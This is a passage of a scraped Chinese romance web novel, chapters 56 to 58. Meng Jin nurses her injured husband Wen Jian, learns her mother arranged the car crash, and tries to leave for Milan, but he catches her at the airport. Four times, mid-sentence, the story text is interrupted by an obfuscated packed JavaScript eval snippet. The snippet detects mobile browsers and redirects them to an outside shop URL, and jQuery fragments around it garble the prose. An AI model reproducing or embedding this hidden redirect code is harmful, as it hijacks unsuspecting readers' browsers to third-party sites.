与他提心吊胆的忐忑心理不同,孟瑾从刚刚吻上他到现在一直都很专注,呼吸轻浅而略快,唇舌小心探入,轻轻略过他唇齿间每个角落,像是要把这瞬间牢记在心里,刻进脑海里。 变成永恒。 变成与灵魂共融的梦想。 不知多久,孟瑾抬起头来,笑着说:“闻教授,你吻技好烂,不是咬人就是想说话,一点都不专注。” 闻见张嘴想说什么,话出口的一瞬又改成了:“因为我不会呀,小孟老师多教教我,以后就会了。” 他嘴上虽然这么说,心里却已经打定了主意,如果孟瑾真的要回意大利,他就也辞了工作跟过去,就算以后不再见面,至少也能和她看见同一片星空,吹同一场晚风,总比相隔万里苦苦煎熬的好。 不管怎样,他再也不要放开她了。 孟瑾闻言笑起来,她今天似乎很开心,总是在笑。 她伸手点了点他泛着水光的唇,故意道:“哦,听这意思怎么好像我吻技太好,某人还吃醋了呀?” 闻见没有否认,笑着点头。 他又说:“但我更多的还是骄傲,我娶到我的白月光了呢!” 孟瑾没有接他的话,而是突然另辟蹊径地问了一句:“闻见,你答应给我买的戒指呢?” 怕他想不起来,女孩说完又自顾自帮他回忆道:“就是上次,你带我去妈妈家,临出门你说给我买的戒指,还记得吗?” 闻见静静看着她,没有说话。 孟瑾知道他在想什么,但还是面无异色地把自己的话说完了。 “我这个素银戒指都戴了好久了,感觉都有点过时了,改天你陪我去买一个吧?” 就算被闻见看出来她是为离婚做准备,想留纪念也没关系,反正他们早就说好要离婚了。 而且她也想趁着这次机会,最后在他面前任性一回,还想给他留一些关于她的,不一样的记忆。 比如像其他很多女孩那样,在自己的爱人面前故意调皮、任性,不讲道理。 还有昨天的录音里,他说喜欢看她笑,那她从今天起就多笑笑,笑给他看,笑给她的爱人看。 ”我昨天的外套呢?”闻见蓦地出声拉回她的思绪,说:“你帮我找一下好不好?” 孟瑾:“外套上全都是血,你找它干……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223501|136202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话说一半,孟瑾忽然意识到什么,她抬头看着他,眼里全是惊讶和难以置信。 恰在此时,手里拎着保温饭盒的闻女士和陈朵朵又推门进来,闻女士见闻见已经清醒了,两个人还有说有笑的,她明显高兴了很多:“哟,闻教授怎么这么懒啊?醒了也不起么。” 闻见抬头看过去,语气里也带着笑:“这就起了——妈,好香啊,您给我做好吃的了吗?” 闻女士:“抱歉,医生交代了,病号只能喝粥,我给你煮了小米粥,一会儿给你喝哈。” 闻女士:“这是我给我闺女煮的红枣鸡汤,你少凑热闹。” 闻见眨眨眼睛,倒也不吃醋:“那好吧,反正也是给我老婆做的,谢谢妈。” 说着,又侧头跟陈朵朵打了声招呼。 陈朵朵笑嘻嘻地走过来,一边抬抬下巴兴奋道:“哎呀,大班长,你可算是醒了!你都不知道,你昨天晚上做手术一直不出来,我们小瑾都快……” 话说一半,就被孟瑾眼疾手快起身捂住了嘴:“行了行了,快少说两句吧,不然鸡汤都凉了,你闻这多香啊,是吧?” 陈朵朵眨了眨眼睛,她有点不理解,但也没再说。 闻见不动声色捏了捏手指,也没追问什么。 没一会医生过来给他打吊瓶,因为麻药劲儿还没过,配合完医生,他就迷迷糊糊又睡着了。 半分钟后,陈朵朵拉着孟瑾到了病房外的走廊,走廊里人很多,有脚步飞快的护士穿梭在各个病房与医生办公室,有步履蹒跚的老人拄着拐杖独自一人慢慢往前走,还有拿着小汽车一脸无忧无虑,在旁边玩得不亦乐乎的小男孩。 陈朵朵突然感觉很神奇;在这里,仿佛不经意的一眼便能看尽人生百态,各色脸庞。 须臾,她又转头看过来,看着孟瑾的眼睛,认真问道:“小瑾,你怎么了,能跟我说说吗?” 孟瑾摇头笑了笑,笑得有些惨淡。 她没有正面回答,而是说:“朵朵,你看班长和闻女士相处得多轻松,我跟他登记的那天,第一次见到他们的相处方式,就感觉。” “感觉,仿佛不管遇到什么事,闻女士都不会不分青红皂白的指责他,骂他,说他这不好,那不好,除了让人跟着操心就是花冤枉钱之类的话。” “今天看来,我的判断是正确的,闻女士她真的是个不一样的妈妈。” 陈朵朵没有说话,安静伸手牵住她的手,等着她继续说。 “可是我妈妈不一样,她总是有一肚子抱怨的话,总是嫌我这不好,那不好,不管我做什么都得不到她的认可。” 陈朵朵说:“没事的小瑾,你现在已经长大了,你有自己的家了,你不要再管她对你的评价,她说什么都不重要了。” 孟瑾闻言笑了笑,说:“你误会了,我说的不是那个啊。” “啊,那是什么?” “我说的是我不会爱人,没有爱人的能力,”孟瑾说:“闻见他是健康的,长在阳光下的一束鲜花,纯粹而美好,可是我……我就像随时会打雷下雨的一团乌云,所以我们两个根本就不合适,他跟我在一起除了能受满身的伤,得不到任何别的。” 陈朵朵摇头,表示不赞同,“可是你又不是她,你怎么知道他得不到?你不能把自己的想法强加在他身上,这样对大班长是不公平的。” 孟瑾没有接她的这句,她只说:“朵朵,你知道昨天那场车祸的幕后主使是谁吗?” 陈朵朵看着她突然变红的眼睛,心里咯噔一下,有点不敢想象:“是……是谁呀?” 孟瑾轻轻笑了笑,然后眼泪就下来了,她说:“你不是已经有答案了吗?” 56.第 56 章 刹那间,陈朵朵只觉脊背生寒,难以置信,整个人仿佛被定住了,她表情愣愣地看着孟瑾,半晌没说出一句话。 “怎、怎么会……” 她想问怎么会是唐婉清,怎么可能是她? 她可是孟瑾的亲生妈妈,她们是这世上彼此唯一最亲的亲人啊。 何况,她们本就是一体的,她是生她、养她,带她来到这世上的人,孟瑾身上流的也全都是她的血。 她怎么会,怎么忍心对孟瑾的丈夫闻见下死手,如果闻见真有什么不测,她就不会心痛,不会自责吗? 那样的话,孟瑾肯定会一辈子走不出来,一辈子都活在痛苦、自责,无法释怀的情绪里。 就算活着也是行尸走肉,与死人无异。 可是话说一半,她又蓦地想起来,这些年来唐婉清对孟瑾的种种行为,为了自己的目的可以不择手段,甚至眼睁睁地将孟瑾推入宋家那片火海,她对闻见下手,似乎也就没有那么不可理喻了。 “很诧异是不是?”孟瑾抬手抹了几把脸上的眼泪,主动弯唇笑了笑,说:”昨天晚上警察跟我说的时候,我也挺诧异的,但是我又仔细想了想,就觉着,也没什么不可能的,毕竟人心隔肚皮嘛。” “况且……况且她本来也不爱我。” “这是我早就知道的。” 她这话是笑着说的,然而声音里还是带着几分不易察觉地颤意。 是啊,人的生理反应总是比情绪更真实,生理反应是不会骗人的。 孟瑾心里大抵也是渴望母爱的吧,毕竟她从小就跟着外婆在舅舅家,想说的话不敢说,想做的事不敢做,处处谨慎小心,却还是得不到家人的认可,父母的关心。 而是一直在被忽视,被打压中艰难长大,这样的生存环境下,她怎么可能部长出满声尖刺,将自己缩进壳里。 陈朵朵眨了眨眼睛,她没有说什么冠冕堂皇的大道理,因为她知道孟瑾不需要,她只是看着她问:“你打算怎么做?” 孟瑾垂眸看着旁边跑来跑去的小男孩,声音已经恢复了平静:“先照顾闻见,等他康复出院后,我就回去了。” “回去,回哪去?” 孟瑾说:“意大利呀,他们不是都想让我回去吗?那我就回去呗。” “你这是自己往火坑里跳,你老公不会同意的!”陈朵朵抓着肩膀把人扯回来,让她看着自己,又说:“而且他们连‘意外’车祸这种事都能做出来,你回去万一被关进地下室砍手砍脚了呢?我们上哪找你去?!” 看她一直沉默,不说话,也不动,仿佛已经下定了决心,无法回头了。 陈朵朵眼眶突然红了,她没忍住抽了抽鼻子,有点委屈:“好,就算你不管我,你不要我,那你老公呢?闻见你也不管了?也不要他了吗?” “从十八岁到现在,在心里整整装了十年的人你也说放手就放手,说不爱就不爱了吗?” 孟瑾扯唇笑了笑,笑着说她本来就不爱他,她对闻见的感觉只是愧疚和欣赏而已。 这一笑仿佛耗费了她所有的精力和力气,话落,她再也说不出任何话,没有任何表情了。 陈朵朵当然不信,她还想追问什么,孟瑾却只是淡淡地摆手,不愿再说了。 她转身走到前面一片阳光下,抬头看着窗外如洗的蓝天白云,脑袋里空空的,什么也没再想了。 那天一整天天气都很好,没有下雪,只有风,隔着玻璃,也吹不到孟瑾身上。 早上她喝了闻女士带来的鸡汤,味道很好,喝进肚子里也暖暖的。 中午本该由孟瑾做饭,可是她不会做饭,她就在外卖平台上点了几份不同口味的,大家想吃什么都行。 闻女士也没什么不高兴的表示,还笑着夸她做事体贴周到,说家里的饭她早就吃腻了,正好换换口味。 孟瑾知道这是对方在给自己台阶下,归根结底,闻女士对她这么好,还是因为闻见,因为闻见喜欢她,他的妈妈便也宠着她。 闻见昨晚才做完手术,今天一整天都不能进食,怕他看见她们吃饭饿得难受,孟瑾就在床边坐着陪他。 闻见:”你不吃饭吗?” 孟瑾摇摇头。 他又说:“是早上吃多了还是身体不舒服?等下,妈妈吃完我让她带你去看看医生吧。” 孟瑾闻言抬头,很认真地看着他,还是没有说话。 闻见一脸诧异回看着她,完全get不到自己说错什么了,“嗯?我说错什么了吗?怎么用这种眼神看我?” 孟瑾这才眨了眨乌亮的眸子,她坐在一片阳光下,精致好看的脸庞被镀了一层淡淡的光,整个人看着都很漂亮。 “你以为你是谁呀,凭什么使唤我妈妈?” 她故意东拉西扯地说。 闻见的一只手被绑带吊起来了,但另一只手还能动,他大着胆子伸手轻轻摸了摸她的脸颊,自顾自笑了:“那怎么办呢?谁叫我现在受伤了,有特权,你妈妈也宠着我。” 孟瑾说:“受伤你很高兴啊?” “嗯嗯,是的,我很高兴。” “为什么?”她不理解。 闻见:“因为我好的时候你很少对我笑,也没时间陪我,每天都很忙。但是你今天一直在陪我,还冲我笑,我就很高兴呀。” 孟瑾抬手把他的手扯下去捏在自己手里,一边撇嘴吐槽:“十多年没见了,还这么没出息。我要是把你这黏人样儿发到班级群里,看他们不笑你才怪。” 闻见慢腾腾挠了挠她的手心,撒娇似的说:“那多好,那样他们就都知道我娶到我女神了,羡慕都来不及怎么会笑话?” “而且,我喜欢你这件事除了你孟小瑾,班里没有人不知道的,他们爱笑就笑呗,笑我也开心。” “哟哟哟,闻大班长的高冷人设要保不住了!”没等孟瑾说话,旁边陈朵朵就笑咪咪看过来,一边啃干锅里的玉米,一边打趣他。 闻见闻言笑了笑,没说话。 闻女士:“哦哟,他只在他老婆面前不高冷啦!” 陈朵朵点头,又笑着附和:“就是就是,好双标呐!” 孟瑾被他们你一句我一句说得没忍住笑了笑,笑着笑着,喉间又是猛地一梗,她蓦地转过头去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235422|136202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还是被旁边的陈朵朵敏锐地捕捉到了,就那一个动作,就那一瞬间,她突然好想哭。 因为孟瑾心里的痛,她的挣扎、不舍,她都懂,全都懂。 并且,她也正在经历几乎同样的事情,她也不知道该怎么办,如何抉择。 接下来的一周多,孟瑾和闻女士还是每天换着来医院照顾闻见,陈朵朵还有自己的工作,也不能一直待在这里,陪了孟瑾两天,她就回去了,临走,还不忘拉着孟瑾再三嘱咐,说让她好好考虑清楚再做决定,千万不要冲动。 孟瑾笑着点点头,说自己知道了。 陈朵朵也点头,一边挽着她的胳膊继续说:“那你做决定了记得跟我说,不管你要做什么,我都支持你的。” 孟瑾说:“好,我知道,你快回去吧。” 又过了几天,闻见已经可以自己下床了,虽然走得慢,但还是节省了孟瑾她们不少时间,加上有护工小哥帮忙,孟瑾就不用一天在医院守着了。 这天傍晚,孟瑾给他送完饭从医院出来,天上又开始飘雪了,细细小小的雪绒带着冷风,吹得她整个人都快冻上了。 临近年关,街上张灯结彩的很是热闹,过路的人手里或多或少都拿着买来的东西,有对联,福字、干果,糖葫芦各式各样,五花八门的,似乎是在办年货了。 孟瑾抬头看了眼周遭热闹的场景,很快,又垂下去,自顾自往家走了。 闻见住的医院到家打车需要半小时,她走回去时间更长,大概要一个多小时,但她还是没有打车回。 也不为什么,就是离开前最后一个晚上,突然想再看看她从小长大的这座小城,想再走一遍上学时她与闻见一起走过很多次的这条小路。 可是也不知道为什么,离家越近,她的心里越是空落落的,也没有很强烈地不舍和难过,就是感觉心脏一直在往下沉,胸口有些堵,堵得她有点喘不过气。 她又垂眸叹了口气,突然有点想哭,大过年的,别人都匆匆忙忙赶着回家团圆,她却要独自一个人,抛家舍业的离开。 想着,孟瑾掏钥匙开门—— 身后突然传来熟悉的声音,她蓦地回头,果然是幻觉,身后谁都没有。 走廊里的声控灯刷然亮起,照出她一抹单薄孤寂的倒影,在地上,显得落寞又寂寥。 孟瑾盯着看了一会儿,然后转身回屋,抬手关门的瞬间,她突然听到自己轻轻抽了抽鼻子,眼眶也有些热。 但她没有哭。 她本来就是一个人,从小到大,一直都是。 很快,孟瑾把自己的东西全都塞回行李箱,拖到门口,把钥匙放到鞋柜上,弯腰摸摸福袋的脑袋,轻声说了句:“我走了。” 话落,转身锁门,大步离开了。 她没有说再见,没有跟任何人说再见,因为她不想回头,一直以来,从来都不想。 从此,她的人生由她自己做主,她不会,也不要再为任何人停住脚步。 她将绝对、认真地主宰着自己的人生,去任何一个她想去的地方,做任何一件她想做的事情。 直到永恒。 57.第 57 章 外面雪还在下,风也还是吹得急。 坐在出租车里的孟瑾却是一脸平静,她侧头看着窗外飘飘洒洒的雪,想起了第一次从南方老家来安城的场景,那一年她十七岁。 来安城的前两天,她送走了这世上唯一对她好,唯一会叫她小乖的外婆,送走了与她一同长大,一直很黏人的大黑。 那时,她坐着颠簸的绿皮火车,一天一夜没有睡觉,也没买东西吃,脸上的表情很淡,甚至可以说是没有任何情绪。 车窗外天气很阴沉,淅淅沥沥下着雨,旁边的唐婉清抱着外婆的骨灰盒,哭哭啼啼骂她没良心,骂她连哭都不会。 似乎还骂了别的,但反反复复也就那些话,孟瑾已经不记得具体是什么了。 在他们下车的一瞬间,就在那一刻,一直在下的毛毛雨突然变成了雷电交加的滂沱大雨,接着,便是山体滑坡,城市内涝,各种灾害接踵而至。 那场雨整整下了三天三夜才算完,孟瑾就在家里待了三天,哪都没去,第四天傍晚天终于放晴了。 金灿灿的夕阳余晖将地上的水坑照得很亮,看着波光粼粼的,很漂亮。孟瑾那天是跟着孟强东去学校报名的,结束后,孟强东说要去街上拉客,问她要不要一起去,孟瑾摇头说不要,然后自己一个人回了小区。 路过小区门口的大水坑时,她又自顾自停住脚步,看了眼里面星星点点的水波荡漾,正要转身离开,身后却传来一道淡淡的男声叫住了她:“同学,等一下。” 孟瑾迟疑了一会儿,最终还是回了头,身后是个白白净净个子很高的男生,晚霞的柔光照在他清俊立体的侧脸上,打出少年深刻细碎的轮廓剪影。 孟瑾当时的第一感觉就是,这个男生她好像见过。不是见色起意,就是心里忽然有种很微妙的感觉,像是在哪里见过,却又想不起来。 也因此,她没有立刻就走。 那个男生是闻见—— 仿佛也愣住了,闻见盯着她看了好一会儿,直到旁边有人经过,他才如梦方醒眨了眨眼睫,绕过水坑到了她跟前,把手里刚买的一包棉花糖递过来,说:“心情不好的话,吃点甜的可能会好一点。” 孟瑾闻言回过神来,她没有伸手接,也没说话。 脸上表情有点莫名其妙。 虽然心里的感觉很微妙,然而她确定这是两人第一次见,她连对方的名字都不知道。 他怎么看出来自己心情不好的? 现在的人搭讪都这么明目张胆了吗? 想着,孟瑾转身要走,身后的闻见却又追过来,他像是很执着把手里的东西送出去,少年急急伸手拦了一下,但距离把握的很好,并没有碰到她。 她侧头看去,耐心已经到了极限,语气听着也很冲:“你有病么?” 少年闻言也不生气,他摇头表示自己不是坏人,语气听着很真诚:“我也是这个小区的,我们是邻居。” 接着又说:“这是我妈让我给她买的,你先拿着,我再去给她买。” 孟瑾张嘴想说什么,可是闻见已经把东西放到旁边的休息椅上,转身走远了。 站在那片金色晚霞里的少女侧目看着他走远的方向,好一会儿,又垂眸看着放在她手边的那个牛皮纸袋,袋子中央写着一句大大的红色标语:甜如初见。 孟瑾平时没什么零花钱,也很少吃零食,对棉花糖一类的甜品却很喜欢,外婆之前每次下山赶集,回来的时候都会给她买糖果,每次都是不同口味,不同形状的,但又都很甜。 不知过了多久,她拿起袋子拆开往嘴里放了一块。 那个男生的棉花糖是蜜桃味的,如标语上写的一样,很甜很甜。孟瑾吃到嘴里的瞬间却没忍住落下泪来,一颗一颗冰冰凉凉的,滑过她的脸颊落到地上的水坑里,无声无息溅起一朵朵细小的水花。 这是外婆走后那么多天,孟瑾头一回落泪,也是头一回,她抬头看着天边将要西沉的落日,声音小小地哽咽道:“外婆,我好……好想你。” 后来两人成了同班同学,闻见没事就喜欢跟着她,刚开始,孟瑾以为他找自己是老师交代了什么事,有时候便会主动问一句:“你有什么事?” 闻见诚实得很:“找你背课文。” 孟瑾假装遗憾地耸肩:“哦,我没拿书。” 闻见抬头看她一眼,然后说:“没事,我不用书,书是给你拿的。” 孟瑾后退靠到走廊栏杆上,摇头拒绝,理由找地格外没诚意:“不行,我不认识你写的字。” 闻见:“那你等一下,我去拿你的书。” “你拿了也没用,我的书不做笔记。”孟瑾说着,话音一转,忽然严肃道:“大班长,我问你个事呗?” 闻见狐疑地转头看来,眼神很防备:“嗯?什么?” 因为孟瑾主动找他说话,一般都没什么好事。 然而出乎意料的是,孟瑾这次很认真,也没搞什么捉弄他的事。 她只是自顾自静了一会儿,才抬头看着他的眼睛,轻声问道:“上次在小区里,你怎么知道我心情不好?” 闻见知道,她说的是两人头一回在小区门口碰上,她静静看着脚下一汪积水的那次,当时她连孟瑾的名字都不知道,两人之前也从未见过,但神奇的是,抬头的瞬间,他还是看出来她心里有事,而且是特别不开心的事。 他也不知道为什么,也不知道怎么说,总不能说是他猜的——那样说的话,孟瑾会感觉他很没正形吧? “什么时候?我不记得了。”须臾,闻见面无异色地说。 孟瑾闻声轻轻眨了两下眼,又抬头看了他一会儿。 闻见的表情眼神都很随意,她什么也没看出来。 女孩摇头说没事,片刻,转身回班了。 他在心里叹了口气,跟着孟瑾走了两步,蓦地停下了。 晚自习是数学课,孟瑾懒得听,就在桌上趴着折纸飞机。 闻见从前般门出去,绕了一圈又从后面进来,看见她小猫似的趴在桌子上,不知道在搞什么。 他就把手里的棉花糖递过去,又扯唇笑了一下。 他站在孟瑾身后,属于是野盲区,所以她没看到。 孟瑾瞧见桌上的牛皮纸袋,一脸诧异回头问:“什么啊?” 闻见扯了张旁边的空椅子坐下,两人距离瞬间拉近,他凑过去看着她手里的纸飞机说:“下午我去便利店买钢笔,正好有刚烤的棉花糖,就给你买了一包。” 孟瑾几乎瞬间就反应过来,他下午说“不记得”是骗她的。 她没说什么,伸手掏了一块棉花糖送进嘴,咬了小小一口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260367|136202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 闻见侧头看着她:“什么味的呀?” 孟瑾故意东拉西扯:“袋子上不是写了?” 他又笑了一下,这次是看着她的眼睛笑的。 闻见这个人,平时根本不会做多余的表情,别说让他对着女生笑了。 孟瑾不明所以挑了挑眉。 “大班长,你下毒了么?”她看了眼手里的棉花糖,又转回看着闻见,一脸认真地问:“为什么笑的这么狡黠?” “……” 对方瞬间收了笑。 孟瑾:“啧啧,这样显得你更心虚了。” 闻见没有再说一句话,伸手接过她手里的糖直接一口闷了。 表情看着有一点无语。 起身回前排的时候,孟瑾听见他声音小小的嘀咕了一句:“对你千好万好的都不理人,还下毒呢……” 她折纸飞机的手指微微一顿,片刻,学着他刚刚的举动往嘴里塞了一整块糖。 不就一口闷吗?谁不会啊?说说就生气,真服了。她一边报仇似的狠狠咬着嘴里的糖,一边在心里吐槽。 那时候孟瑾还不懂,不知道一向高冷的闻大班长为什么会给她买糖,为什么有事没事就跟着她,为什么聊着聊着天就冲她笑了。 后来有一次孟瑾感冒了,她迷迷糊糊在桌子上趴了一整天,没有听课,也没有去吃饭。 那是个冬天,大概十二月中吧,天气很冷,外面一直在下雪。 身后忽然有人开门进来,动作很轻,像是怕吵到她。 孟瑾其实知道是谁,因为她闻到他身上淡淡的洗衣液味道了,但她没有抬头,还把脸又往胳膊里埋了埋。 闻见走过来,力道不轻不重地拍了拍她的肩,“孟瑾,起来吃点药再睡,不然感冒不好的。” 孟瑾摆了摆手,懒得说话。 他把手里刚买来的药放到桌上,点了点头,没再说什么。 抬腿要走,却又猛地转回来。 孟瑾抬头看去的一瞬间,听到闻见声音很轻地说:“孟瑾,你吃点药吧,吃了药让我做什么都行。” 那一刻,仿佛醍醐灌顶。 孟瑾愣愣地眨了两下眼睛,虽然已经明白了所有的事情,虽然已经知道了他对她所有的例外是什么意思,但孟瑾还是没头没尾说了一句:“我吃完药要吃棉花糖。” 他点头,没有迟疑,转身又跑进了外头白茫茫一片的大雪纷飞里。 …… 不知不觉的,出租车已经开到机场了,孟瑾掏出手机扫码,却在点亮屏幕的一刹那,看到被调成静音的手机跳出了无数个未接电话,还有很多消息,密密麻麻全都是闻见。 她盯着看了两秒,然后若无其事的扫码下车。 从小到大,除了外婆,闻见是对她最好,给了她最多偏爱和真心的人。 却也是被她伤的最惨的人。 他们的关系从一开始就是他给予她接受,从一开始就是不公平的。 孟瑾抬头看着漫天飞雪,不过片刻,她整个人就被淋白了,她轻轻笑着眨了眨眼睛,眸子里全是拎着棉花糖向她跑来的那个少年。 她却说:“梦醒了,该结束了。” 几乎是同一时间,身后又有人说了一句:“孟瑾,心情不好的话,吃点甜的可能会好一点。” 58.第 58 章 孟瑾闻声呼吸一滞,整个人下意识蓦地回头。 她以为又是自己出现了幻觉,毕竟闻见伤得那么重,毕竟他连走去卫生间都费劲,毕竟他们早就说好了要离婚。 她要走的决定也不是今天做的。 然而孟瑾回头的瞬间,还是真真切切地看到了闻见,看到了手上拄着拐杖,额头绑着纱布,只能单腿跳着朝她走过来的闻见。 雪夜的机场人来车往,远处霓虹忽明忽灭,身旁来往步履匆匆。 一切都是那么真实,却又那么恍惚,恍惚得令人不敢呼吸,不敢眨眼。 闻见似乎也愣住了,他大概也没有想到孟瑾竟然会回头,她竟然会在听到自己的声音后回头。 记忆里,这是头一回。 头一回她为他回头,为他停了脚步,为他落下泪来。 隔着三五米的距离,透过飘飘洒洒往下坠的雪,他看着她,愣了两三秒,然后轻声苦笑说:“孟瑾,别再丢下我了好么?” 孟瑾闻言,总算回过神来。 怕他一条腿站着会被人撞到,孟瑾瞬间扔下手里的行李箱,迎着漫天大雪朝他跑过去,伸手还没碰到他的胳膊,闻见已经丢了手里的拐杖,猛地抬手将她抱在怀里。 抱地很紧很紧。 孟瑾感觉自己都快喘不上气了。 似乎生怕下一秒孟瑾又会转身离开,将他一个人留在这里,再也不回来了。 “你、你跑出来做什么?”孟瑾声音有些哽咽。 闻见还是不说话,只是自顾自把抱着她的胳膊收得更紧了。 一边低头把脸埋进孟瑾的颈窝,嗅着她身上清甜好闻的蜜桃香,好一会儿,忽然轻轻抽了抽鼻子。 “大班长,我喘不上气了……”孟瑾声音小小的提醒道。 闻见闻言点点头,抱着她的手终于放开了一点,只有一点。 半晌,他攒够力气开口,嗓音已经哑的不成样子了:“我来给你戴戒指的。” 戒指是他们登记的那天下午他自己去买的,买了一对,之后便一直贴身装在口袋里,直到那天在医院,孟瑾突然说想要戒指,他知道她是在为离婚做准备,想给彼此留些纪念,但闻见还是暗示了戒指已经买好,放在自己口袋里的事。 他确定孟瑾听懂了,也知道他在看她的反应,可是孟瑾并没有反应,没有给他任何回应。 闻见当时只是了然地闭了闭眼睛,也没有再提。 一直以来,他总是默认孟瑾不喜欢他,孟瑾不会为他停留,孟瑾不会为他回头。 因为那边有她唯一的亲人唐婉清,有她相恋六七年的未婚夫宋天宇,他默认自己比不过唐婉清,甚至比不过宋天宇。 孟瑾会为他们舍弃他。 她总是有无数个理由抛弃他。 可是当他晚上给孟瑾打了无数个电话还是打不通的那一刻,当他从闻女士那里听说孟瑾哭着说爱他,说不想他离开的那一刻,他还是崩溃到了无法克制,无法呼吸的地步。 就像他之前说的,没有孟瑾他真的会死。 “都要离婚了,还戴什么戒指?”孟瑾咽了咽喉咙,轻声反问他。 她嘴上虽然这么说,心里难言的情绪却不比他少。 为此刻极其不安害怕的闻见,为将要面对的分别,或者说是永别的不舍。 她轻轻拍了拍他的背,面上还是一副无所谓的模样,说:“闻教授,你的高冷人设要崩塌了——快,起来,我送你回去,不然飞机赶不上了。” 闻见不起来,不但不起来,还自顾自将抱着她的胳膊收地更紧了。 过了好一会儿,他才说:“孟瑾,你为什么不承认你爱我?你为什么一次次的要把我推开,把我推出你的世界?” “我在你眼里就是那种只能同甘,不能共苦的拖油瓶吗?还是……还是你认为我就只能躲在你身后,做个让老婆冲锋陷阵的胆小鬼。” 孟瑾有些尴尬地抿了抿唇,一声不吭伸手把人推开了。 她默着声想了一秒,张嘴才要说什么。 结果闻见已经提前预判了她的预判,他侧头吐了口白气,又转回来看着她:“我有证据,闻女士给我拍了视频,我做手术的那天你哭着说你爱我,是你亲口说的,某个爱骗人的小姑娘还是想点别的招吧。” 什么?竟然还有视频? “……” 女孩有点脸热,慢腾腾抬手捂了捂脸,也太尴尬了吧……而且,她当时哭的那么丑,拍到手机里肯定丑爆了……话又说回来,他有视频就有视频,看了就看了,干嘛还要说出来?小孟老师不要面子的么? 某些人可真讨厌!简直讨厌死了! 孟瑾一边在心里吐槽,一边不客气地抬头瞪他,闻见的脸色很差,额头上绑了纱布,还有一条胳膊一只腿都被钢板固定住,看着比她那天狼狈的多。 可是闻见却不觉得这有什么。 比起方才从医院赶来时,心里的担心、恐惧、不确定,后悔,自责等各种难言的情绪,表面上的这些狼狈根本就不值一提。 也不会让他觉得羞于面对。 他只怕孟瑾执意要与他分开,要回到那些根本不懂爱的人身边。 闻见抿了抿唇,伸手牵住她的手,主动扯开话题问:“录音已经交给警方了么?” 孟瑾闻言回神,这才想起来他把拐杖扔了的事。 她点点头,一边把拐杖捡起来递给他:“先扶着点,这么多人呢,万一被撞到就不好了。” 闻见摇头:“我不要。” 说着,又轻轻晃了晃牵着她的手,“小瑾,你扶我。” 孟瑾:“……” 闻教授这是在……跟她撒娇? 她眨了眨眼睛,伸手将他的胳膊搀住:“好,我送你回医院。” 闻见站着没动,摇头说:“不去医院,我跟你一块回米兰。” 说着,才注意到孟瑾气色也很不好,脸色很白,眼睛红红的,仿佛刚刚不久才哭过。 他滚了滚喉咙,又说:“你不让我跟着我就坐下一趟飞机,不管怎么样,我不要再和你分开了。” 孟瑾抬头看来,提醒说:“你没有签证。” 这是客观存在的事,闻见没法再反驳,他一声不吭往孟瑾跟前凑了凑,突然语出惊人道:“你怎么知道我没有?” 孟瑾弯眼笑起来,表情看着很不信:“有吗?给我看看。” 闻见没有再说,松开牵着她的手在口袋里摸了摸,变魔术似的,下一秒,果然就摸出来一本新新的护照。 这回换孟瑾沉默了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283754|136202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻见察觉到,问她:“怎么了?” “你什么时候办的?”她目光落到他手里的护照本上,好一会才低低地问。 “结婚后几天,想着以后要回去看岳母,就申请了。” 北风忽地更大起来了,带着细细的雪绒呼呼啦啦直往人眼睛里钻。 孟瑾闻声蓦地抬头,眼睛水水的看着他,好半晌才说一句:“你没有岳母了……” 我也没有妈妈了。 虽然眼睛水水的,虽然失去了她在这世上唯一的亲人,但孟瑾的表情并没多大的变化。 反倒是闻见愣住了。 孟瑾重新扶住他,扯开话题问:“你这样乱跑出来妈妈知道吗?” 闻见反手握住她的手,握地很紧很紧,“知道,就是妈妈让我来找你的。” “闻女士还说我要是哄不好她闺女,我也不用回去了。” 哦,他这话的意思是说,没关系,还有闻女士拿她当亲闺女呢么? 孟瑾配合着点头笑了笑,一边自顾自扶着他往机场相反的市区走。 “我以前都没看出来,闻教授还挺会安慰人的。” 闻见没有接她的话。 事实上,直到现在他整个人还是懵的。 